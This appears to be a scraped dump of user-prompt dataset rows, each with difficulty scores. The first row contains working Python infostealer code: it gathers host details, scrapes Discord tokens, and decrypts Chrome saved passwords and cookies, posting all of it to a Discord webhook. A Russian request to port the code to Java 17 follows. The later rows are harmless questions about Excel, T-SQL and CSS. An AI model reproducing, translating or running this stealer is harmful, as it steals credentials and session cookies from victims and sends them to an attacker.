embedTemp ={"title": "Victim Information", "description": "Computer Info", "color": 0, "fields": [{"name": "User","value": f"{pcUser}"},
{"name": "Name","value": f"{pcName}"},{"name": "Mac Addrr","value": f"{pcMac}"}, {"name": "IP Addrr","value": f"{ipAddrr}"}]}
jsonData = {"content": "" ,"username": f"{pcUser} | {pcName}","embeds": [embedTemp],}
requests.post(webhookURL, json=jsonData)
victimInfo()
###Start Discord Token Dump
def dumpDiscordToken():
dcToken= []
tokenStructure= r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'
for fileS in os.listdir(cookiePath.get('Discord')):
if fileS.endswith('.ldb') or fileS.endswith('.log'):
with open(cookiePath.get('Discord')+'\\'+fileS, 'r+', errors='ignore') as readText:
for textLines in readText.readlines():
oneLine= textLines.strip()
for tokenStructure in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
for discordToken in findall(tokenStructure, oneLine):
if discordToken:
dcToken.append(discordToken)
else:
continue
with open(writePath,'r+', encoding="utf-8") as infoWrite:
mem = infoWrite.read()
infoWrite.seek(0)
infoWrite.write(f'Discord Token: {dcToken}\n' + mem)
embedTemp ={"title": "Discord Token Information", "description": "", "color": 0, "fields": [{"name": "None","value": f"None"},
{"name": "pcUser","value": f"{pcUser}"},{"name": "Discord Token","value": f"{dcToken}"}, {"name": "IP Addrr","value": f"{ipAddrr}"}]}
jsonData = {"content": "" ,"username": f"{pcUser} | {pcName}","embeds": [embedTemp],}
requests.post(webhookURL, json=jsonData)
###End of Discord Token Dump
dumpDiscordToken()
###Start Chorme Pass and Cookie Dump
def getChormeEncKey():
chormeStatePath = os.path.join(os.environ["USERPROFILE"],"AppData", "Local", "Google", "Chrome","User Data", "Local State")
with open(chormeStatePath, "r", encoding="utf-8") as fileRead:
readState = fileRead.read()
readState = json.loads(readState)
encKey = base64.b64decode(readState["os_crypt"]["encrypted_key"])
encKey = encKey[5:]
return win32crypt.CryptUnprotectData(encKey, None, None, None, 0)[1]
def chormeDecryptPassword(Password, encKey):
try:
iv = Password[3:15]
Password = Password[15:]
cipherKey = AES.new(encKey, AES.MODE_GCM, iv)
return cipherKey.decrypt(Password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(Password, None, None, None, 0)[1])
except:
return ""
def chormeDecryptData(data, encKey):
try:
iv = data[3:15]
data = data[15:]
cipherKey = AES.new(encKey, AES.MODE_GCM, iv)
return cipherKey.decrypt(data)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1])
except:
return ""
def chormePasswordExtract():
databasePath = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data")
passDatabase = "ChromeData.db"
shutil.copyfile(databasePath, passDatabase)
databaseConn = sqlite3.connect(passDatabase)
cursorExec = databaseConn.cursor()
cursorExec.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
encKey = getChormeEncKey()
for allIn in cursorExec.fetchall():
originURL = allIn[0]
actionURL = allIn[1]
Username = allIn[2]
Password = chormeDecryptPassword(allIn[3], encKey)
if Username or Password:
with open(writePath,'r+', encoding="utf-8") as infoWrite:
mem = infoWrite.read()
infoWrite.seek(0)
infoWrite.write(f'URL: {originURL, actionURL}\n Username: {Username}\n Password: {Password}\n\n' + mem)
embedTemp ={"title": "Password Information", "description": "", "color": 0, "fields": [{"name": "Domain-Host","value": f"{originURL} | {actionURL}"},
{"name": "Username","value": f"{Username}"},{"name": "Password","value": f"{Password}"}, {"name": "IP Addrr","value": f"{ipAddrr}"}]}
jsonData = {"content": "" ,"username": f"{pcUser} | {pcName}","embeds": [embedTemp],}
requests.post(webhookURL, json=jsonData)
else:
continue
cursorExec.close()
databaseConn.close()
chormePasswordExtract()
def chormeCookieExtract():
databasePath = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Cookies")
cookieFilename = "Cookies.db"
shutil.copyfile(databasePath, cookieFilename)
databaseConn = sqlite3.connect(cookieFilename)
cursorExec = databaseConn.cursor()
cursorExec.execute("SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value FROM cookies")
encKey = getChormeEncKey()
for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursorExec.fetchall():
if not value:
decryptedValue = chormeDecryptData(encrypted_value, encKey)
else:
decryptedValue = value
with open(writePath,'r+', encoding="utf-8") as infoWrite:
mem = infoWrite.read()
infoWrite.seek(0)
infoWrite.write(f"Host: {host_key}\n Cookie Name: {name}\n Cookie Value (decryptedValue): {decryptedValue}\n\n" + mem)
embedTemp ={"title": "Cookie Information", "description": "", "color": 0, "fields": [{"name": "Domain-Host","value": f"{host_key}"},
{"name": "Decrypted Cookie","value": f"{decryptedValue}"}, {"name": "IP Addrr","value": f"{ipAddrr}"}]}
jsonData = {"content": "" ,"username": f"{pcUser} | {pcName}","embeds": [embedTemp],}
requests.post(webhookURL, json=jsonData)
databaseConn.close()
###End of Chorme Pass and Cookie Dump
chormeCookieExtract()
except:
print(writePath)
pass
Преобразуй python код в java 17+ и скинь фул изменный код | 00079b3d9d427e928df54a826d750226 | {
"intermediate": 0.26434123516082764,
"beginner": 0.5650477409362793,
"expert": 0.17061105370521545
} |
20,994 | can you write a python program for linux to turn my screen on and off on loop | b3191fd9010f693cefadd6df3dbcb69c | {
"intermediate": 0.2794336676597595,
"beginner": 0.4956427812576294,
"expert": 0.22492358088493347
} |
20,995 | How can I do this in excel.
From O206 search column O upwards for the first value in column O that is equal to 'Overtime' and stop the search,
then get the month value from the date in Offset(-1, 1),
add 1 to the month value and identify this new month as NewMonth
then for all date values in column A where the month value is equal to NewMonth
Sum the values in the same rows in column J
and write the value to Offset(0, 1) of column O where the value is 'Overtime'.
From O206 search column O upwards for the first value in column O that is equal to 'Absence' and stop the search,
then get the month value from the date in Offset(-2, 1),
add 1 to the month value and identify this new month as NewMonth
then for all date values in column A where the month value is equal to NewMonth
Sum the values in the same rows in column L
and write the value to Offset(0, 1) of column O where the value is 'Absence'.
From O206 search column O upwards for the first value in column O that is equal to 'Holiday' and stop the search,
then get the month value from the date in Offset(-3, 1),
add 1 to the month value and identify this new month as NewMonth
then for all date values in column A where the month value is equal to NewMonth
Sum the values in the same rows in column N
and write the value to Offset(0, 1) of column O where the value is 'Holiday'. | 4280632f934dbddcfa65f576e830ac17 | {
"intermediate": 0.3408546447753906,
"beginner": 0.3585212528705597,
"expert": 0.3006240725517273
} |
20,996 | Table A:
Employee name
Department ID
John
123
Peter
345
Table B
Department ID
Department Name
123
Human Resource
678
Accounting
create this table on tsql | f7b418aa5bbe40be852c52d0d6f769d5 | {
"intermediate": 0.3939723074436188,
"beginner": 0.29403719305992126,
"expert": 0.31199052929878235
} |
20,997 | Table F:
Employee name
Department ID
John
123
Tim
345
Mike
789
Peter
345
Table G
Department ID
Department Name
123
Human Resource
345
Accounting
789
IT
create and insert to htese tables with data | d1e6a2c1ead119e3b07717cf505171ea | {
"intermediate": 0.41960394382476807,
"beginner": 0.3315322697162628,
"expert": 0.2488638162612915
} |
20,998 | Is there any way to change the color of the button in radio button in html and css? | e3f970d3d1cc7c63bca87ed3c20f0a0a | {
"intermediate": 0.3934711217880249,
"beginner": 0.2908942401409149,
"expert": 0.31563466787338257
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.